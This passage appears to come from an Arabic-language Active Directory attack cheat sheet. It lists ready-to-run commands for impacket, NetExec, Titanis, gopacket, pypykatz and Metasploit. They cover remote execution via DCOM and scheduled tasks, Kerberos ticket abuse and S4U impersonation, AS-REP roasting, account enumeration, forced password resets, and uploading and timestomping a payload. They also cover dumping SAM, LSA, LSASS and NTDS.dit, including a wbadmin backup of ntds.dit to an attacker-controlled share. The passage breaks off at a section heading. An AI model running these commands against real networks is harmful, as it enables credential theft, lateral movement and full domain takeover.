[↑ Back to Index](#index)

---

### DCOM Exec

> **Titanis `Dcom invoke` — CLSID lookup SOP:**
> - **تحليل ProgID محلي.** تتحقق Titanis من ProgIDs (مثل `MMC20.Application`) من سجل المهاجم، وليس من سجل الهدف. من لينكس لا يوجد سجل يمكن الاعتماد عليه؛ ومن ويندوز قد يختلف CLSID الخاص بالمهاجم عن نظيره لدى الهدف. استخدم دائمًا `Reg` للبحث عن CLSID الفعلي على النظام البعيد، ثم مرّر GUID الخام.
> - **اجتياز سلسلة الخصائص** (v0.9.20260320+): يدعم الآن أمر Dcom invoke المسارات المنقوطة للخصائص مثل `Document.ActiveView.ExecuteShellCommand`، حيث يجتاز سلسلة IDispatch تلقائيًا. يعمل MMC20.Application. أما ShellWindows `Item()` فلا يعمل — لأنه يتطلب وسيط فهرس لا يمكن لصيغة السلسلة تمريره.```bash
# impacket
dcomexec.py DOMAIN/jdoe:[email protected] "whoami"

# impacket — pass-the-hash
dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "whoami"

# impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work)
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellWindows
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellBrowserWindow

# gopacket — password (interactive semi-shell; default object is ShellWindows)
dcomexec DOMAIN/jdoe:[email protected]

# gopacket — pass-the-hash with MMC20 object
dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/[email protected]

# gopacket — silent command execution (no interactive shell, output redirect required)
dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:[email protected] \
  'cmd /c whoami > C:\Windows\Temp\out.txt'

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec

# Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+)
# 4 args: Command, Directory, Parameters, WindowState (7=minimized)
# ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  49B2791A-B1AE-4C90-9B8E-E860BA07F889 \
  Document.ActiveView.ExecuteShellCommand \
  cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7'

Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '\\192.168.1.10\C$\Windows\Temp\out.txt'

# Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too)
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \
  'C:\Windows\System32\cmd.exe'

# CLSID lookup SOP — look up on the remote system, then pass the raw GUID
# Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec
wmiexec.py DOMAIN/jdoe:[email protected] \
  'reg query HKCR\\MMC20.Application\\CLSID /ve'
# → (Default)    REG_SZ    {49B2791A-B1AE-4C90-9B8E-E860BA07F889}

# Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

[↑ العودة إلى الفهرس](#index)

---

### تنفيذ المهمة المجدولة

> **ملاحظة:** لم يتم تنفيذ MS-TSCH بعد في Titanis. استخدم `Win32_ScheduledJob` عبر WMI كحل بديل، أو `atexec.py` للحصول على دلالات MS-TSCH الحقيقية.```bash
# Titanis — create immediate scheduled task via Win32_ScheduledJob
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_ScheduledJob Create \
  "Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'"

# Titanis — retrieve output and clean up
Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123
Smb2Client rm  \\192.168.1.10\C$\Windows\Temp\out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

# impacket — true MS-TSCH (creates, runs, and cleans up automatically)
atexec.py DOMAIN/jdoe:[email protected] "whoami > C:\Windows\Temp\out.txt"

# gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM)
atexec DOMAIN/jdoe:[email protected] whoami
# gopacket — pass-the-hash
atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] whoami

# impacket — pass-the-hash
atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] \
  "whoami > C:\Windows\Temp\out.txt"

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec

[↑ العودة إلى الفهرس](#index)

---

## 2. Kerberos

### طلب TGT```bash
# impacket — password
getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1

# gopacket — password
getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

# minikerberos — password
minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — password (outputs kirbi)
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# Metasploit
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \
  password=Password123 action=GET_TGT

# impacket — NTLM hash
getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1

# gopacket — NTLM hash
getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

# minikerberos — NTLM hash
minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — NTLM hash
Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# impacket — AES256
getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe

# minikerberos — AES256
minikerberos-getTGT \
  "kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \
  --ccache jdoe.ccache

# Titanis — AES256
Kerb asreq -UserName jdoe -Realm DOMAIN \
  -AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# certipy — PKINIT
certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# minikerberos — PKINIT (also recovers NT hash via UnPAC)
minikerberos-getTGT \
  "kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \
  --ccache jdoe.ccache

# Titanis — explicit RC4
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi

[↑ العودة إلى الفهرس](#index)

---

### S4U2self / S4U2proxy```bash
# impacket — S4U2self + S4U2proxy in one call
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -dc-ip 192.168.1.1 DOMAIN/svc:Password123

# impacket — pass-the-hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc

# minikerberos — S4U2self
minikerberos-getS4U2self \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  [email protected] s4u_self.ccache

# minikerberos — S4U2proxy
minikerberos-getS4U2proxy \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache

# Titanis — combined self+proxy
Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \
  -S4UserName Administrator@DOMAIN cifs/target.domain.local \
  -OutputFileName admin-target.kirbi

# gopacket — S4U2self + S4U2proxy (combined)
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  DOMAIN/svc:[email protected]
# gopacket — pass-the-hash
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ العودة إلى الفهرس](#index)

---

### AS-REP Roasting```bash
# impacket — no credentials required
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt

# pypykatz — no credentials required, userlist
pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \
  --userlist users.txt -o asrep_hashes.txt

# pypykatz — authenticated, auto-discover targets via LDAP
pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:[email protected]" \
  --ldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]" -o asrep_hashes.txt

# minikerberos — userlist (no credentials required)
# syntax: minikerberos-asreproast <server_ip> <domain> [user | @userlist.txt]
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# minikerberos — NTLM hash auth (enumerate via LDAP, then roast)
# Pass individual username or @file; no URL arg — server+domain are positional
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# msldap (enumerate targets only — no hash capture)
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> asrep

# Titanis — find targets via LDAP, loop asreq
# Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=4194304)" \
  -OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt
while IFS= read -r user; do
  kerb asreq -UserName "$user" -Realm DOMAIN \
    -Kdc 192.168.1.1 -EncTypes Rc4Hmac \
    -OutputFileName "asrep_${user}.kirbi" 2>/dev/null
done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt)

# gopacket — authenticated LDAP enumeration + roast (requires -port 389)
GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetNPUsers -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — unauthenticated with user list
GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1

[↑ العودة إلى الفهرس](#index)

---

### استطلاع ما قبل المصادقة / نوع التشفير```bash
# kerbrute — enumerate valid accounts (no credentials)
kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt

# pypykatz — enumerate valid accounts (no credentials)
pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt

# impacket — shows no-preauth accounts only
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit — classifies valid / disabled / no-preauth
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt verbose=true

# Titanis — single account probe
Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1

# Titanis — bulk probe loop
while IFS= read -r user; do
  result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1)
  if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then
    echo "INVALID: $user"
  elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then
    echo "NO-PREAUTH: $user"
  else
    echo "VALID: $user"
  fi
done < users.txt

[↑ العودة إلى الفهرس](#index)

---

### تجديد التذكرة```bash
# impacket
export KRB5CCNAME=jdoe.ccache
getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe

# MIT Kerberos
kinit -R
krenew -v -b -t

# minikerberos
minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache

# Titanis
Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi

# gopacket — renew TGT (KRB5CCNAME must point to an existing ccache)
KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/[email protected]

[↑ العودة إلى الفهرس](#index)

---

### تغيير كلمة المرور```bash
# impacket — user changes own password
changepasswd.py -protocol kpasswd DOMAIN/jdoe:[email protected] -newpass NewPass

# Titanis — change own password
Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass

# impacket — admin resets another user's password
changepasswd.py -reset DOMAIN/admin:[email protected] -newpass NewPass -altuser DOMAIN/jdoe

# bloodyAD — admin resets another user's password
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass

# Titanis — admin sets another user's password
Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass

# gopacket — admin resets another user's password (SAMR over SMB)
changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/[email protected]
# gopacket — admin reset via pass-the-hash
changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/[email protected]

[↑ العودة إلى الفهرس](#index)

---

## 3. SMB / عمليات الملفات

### قائمة المشاركات```bash
# impacket
smbclient.py -shares DOMAIN/jdoe:[email protected]

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --shares

# smbclient
smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123'

# aiosmb — password
asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

# aiosmb — pass-the-hash
asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

# aiosmb — Kerberos ccache
asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache"

# Titanis
Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

# gopacket — password
smbclient -shares DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ العودة إلى الفهرس](#index)

---

### تنزيل ملف```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> get Windows\System32\drivers\etc\hosts hosts.txt

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'get Windows\System32\drivers\etc\hosts hosts.txt'

# aiosmb — password (full path embedded in URL after the host)
asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# aiosmb — pass-the-hash
asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# Titanis
Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ العودة إلى الفهرس](#index)

---

### رفع ملف```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> put payload.exe Windows\Temp\payload.exe

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'put payload.exe Windows\Temp\payload.exe'

# Titanis
Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ العودة إلى الفهرس](#index)

---

### سرد الأنابيب المسماة```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> cd \pipe\
# smb: \pipe\> ls

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe

# Titanis
Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ العودة إلى الفهرس](#index)

---

### SMB عبر SOCKS5```bash
# impacket
proxychains smbclient.py DOMAIN/jdoe:[email protected]

# aiosmb — SOCKS5 (native, no proxychains needed)
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxyhost=127.0.0.1&proxyport=1080"

# aiosmb — SOCKS4
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080"

# Titanis
Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Socks5 127.0.0.1:1080

[↑ العودة إلى الفهرس](#index)

---

### تلاعب الطوابع الزمنية للملفات عن بُعد```bash
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe

# Titanis
Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00"

> **الوصول إلى مسار لقطة @GMT:** `@GMT-...` ليس دليلاً حقيقيًا — يعترض Windows SRV.SYS الرمز المميز في مسار إنشاء SMB2 (SMB2 CREATE) ويعيد التوجيه إلى لقطة VSS. الأدوات التي تتنقل في المسارات مكوّنًا بمكوّن (بما في ذلك `Smb2Client get`) ستحصل على `STATUS_OBJECT_PATH_NOT_FOUND`. استخدم smbclient.py أو smbclient الأصلي، حيث يرسلان المسار الكامل في طلب CREATE واحد:
>
> ```bash
> # impacket smbclient.py — enumerate then pull via snapshot path
> smbclient.py DOMAIN/jdoe:[email protected]
> # smb: \> use c$
> # smb: \c$\> list_snapshots
> # @GMT-2026.03.15-22.24.19
> # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit
>
> # native smbclient (Samba)
> smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
>   -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit'
> ```

[↑ العودة إلى الفهرس](#index)

---

### تعداد تدفق البيانات البديل في NTFS (ADS)```bash
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'allinfo Windows\Temp\file.txt'

# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  streams C$/Windows/Temp/file.txt

# Titanis
Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ العودة إلى الفهرس](#index)

---

### تعداد المشاركات الجماعية```bash
# NetExec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares

# aiosmb — async subnet scanner (faster than looping)
# syntax: asmbscanner [global_opts] {file|brute|list} <url> <ip/cidr>
# results written to TSV files in output dir (-o dir, default: current dir)
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24

# aiosmb — pass-the-hash
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24

# Titanis
while IFS= read -r host; do
  echo "=== $host ==="
  smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \
    -Password Password123 2>/dev/null
done < hosts.txt

[↑ العودة إلى الفهرس](#index)

---

### تفريغ هاشات SAM```bash
# impacket
secretsdump.py -sam DOMAIN/jdoe:[email protected]

# Metasploit
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=SAM

# Metasploit — pass-the-hash
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  action=SAM

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam

# pypykatz — remote SAM dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --sam
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --sam

# Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# Titanis — backup operator (no admin required, -BackupSemantics still required)
Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \
  -Password Password123 -BackupSemantics

[↑ العودة إلى الفهرس](#index)

---

### تفريغ SAM + LSA معًا```bash
# impacket
secretsdump.py DOMAIN/jdoe:[email protected]

# Metasploit — ALL action (SAM + LSA + cached creds)
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=ALL

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa

# pypykatz — remote registry dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache"

# pypykatz — remote LSASS dump + parse via SMB
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

# pypykatz — combined (SAM + LSA + LSASS in one call)
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"

# Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED
Reg dumpsam        192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# gopacket — SAM + LSA + DCSync (password)
secretsdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ العودة إلى الفهرس](#index)

---

### تفريغ NTDS عبر لقطة VSS

> يطلب نسخة ظل VSS على وحدة التحكم بالمجال (DC) ويقرأ NTDS.dit و hive SYSTEM مباشرة من اللقطة. لا يستخدم النسخ المتماثل — مفيد عندما يكون DCSync محظورًا أو مراقبًا.

> **⚠️ قيد `-use-vss`:** يستخدم `-use-vss` الخاص بـ secretsdump أداة smbexec داخليًا لتشغيل vssadmin وجمع المخرجات. يتطلب إنشاء خدمة smbexec مستوى مصادقة SVCCTL `PacketPrivacy`، وهو ما لا يتفاوض عليه secretsdump — يفشل إنشاء الخدمة بصمت ولا تتم كتابة ملف المخرجات أبدًا. استخدم `-use-remoteSSWMI -use-remoteSSWMI-NTDS` بدلاً من ذلك، لأنه يتجاوز SVCCTL تمامًا.```bash
# impacket — VSS method (default exec via smbexec)
# ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss

# impacket — VSS with explicit exec method
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -exec-method wmiexec

# impacket — VSS pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-vss

# impacket — VSS with output file + useful display flags
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -outputfile ntds_dump -user-status -pwd-last-set

# impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required)
# Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally
secretsdump.py DOMAIN/Administrator:[email protected] -use-remoteSSWMI

# impacket — WMI shadow snapshot including NTDS.dit (DC-specific)
# -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-remoteSSWMI -use-remoteSSWMI-NTDS

# impacket — WMI shadow pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS

# NetExec — VSS method
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss

# NetExec — VSS pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss

# NetExec — VSS, enabled accounts only
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled

# Titanis — enumerate existing snapshots
Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123

# Retrieve files from snapshot — use token from enumsnapshots or vssadmin output
smbclient.py DOMAIN/Administrator:[email protected]
# list_snapshots C$
# get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit
# get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM

# native smbclient (Samba)
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit'
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM'

# Parse offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

[↑ العودة إلى الفهرس](#index)

---

### تفريغ NTDS عبر wbadmin (Windows Server Backup)

> `wbadmin` هو أداة LOLBin مدمجة في Windows تستخدم VSS داخليًا لنسخ الملفات احتياطيًا إلى مشاركة شبكة — دون تخزين محلي مؤقت، ودون آثار تنفيذ كود تتجاوز مهمة النسخ الاحتياطي. يعمل مع Backup Operators (لا يتطلب DA). يتطلب أن تكون المشاركة قابلة للكتابة من DC.

> **⚠️ يتطلب ميزة Windows `WindowsServerBackup`.** الملف الثنائي wbadmin موجود كـ stub حتى عندما تكون الميزة غير مثبتة — فقد يعلق أو يفشل بصمت. تحقق من تفعيل الميزة قبل المحاولة: `Get-WindowsFeature WindowsServerBackup` (PowerShell) أو `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`. إذا لم تكن `InstallState` هي `Installed`، فلن تعمل هذه الطريقة.```bash
# Check feature state (run via WMI exec before proceeding)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\""

# Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share
# (run via wmiexec / scm / any exec method)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Titanis — exec via WMI
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Step 2 — list backup versions to get the version identifier
wmiexec.py DOMAIN/Administrator:[email protected] "wbadmin get versions"

# Step 3 — recover the NTDS.dit from the backup
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start recovery -version:<VERSION> -items:C:\\Windows\\NTDS\\ntds.dit \
  -itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet"

# Step 4 — also need SYSTEM hive
wmiexec.py DOMAIN/Administrator:[email protected] \
  "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM"

# Step 5 — retrieve both files and parse offline
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

[↑ العودة إلى الفهرس](#index)

---

### NTDS Dump عبر Kerb-Key-List (RODC)

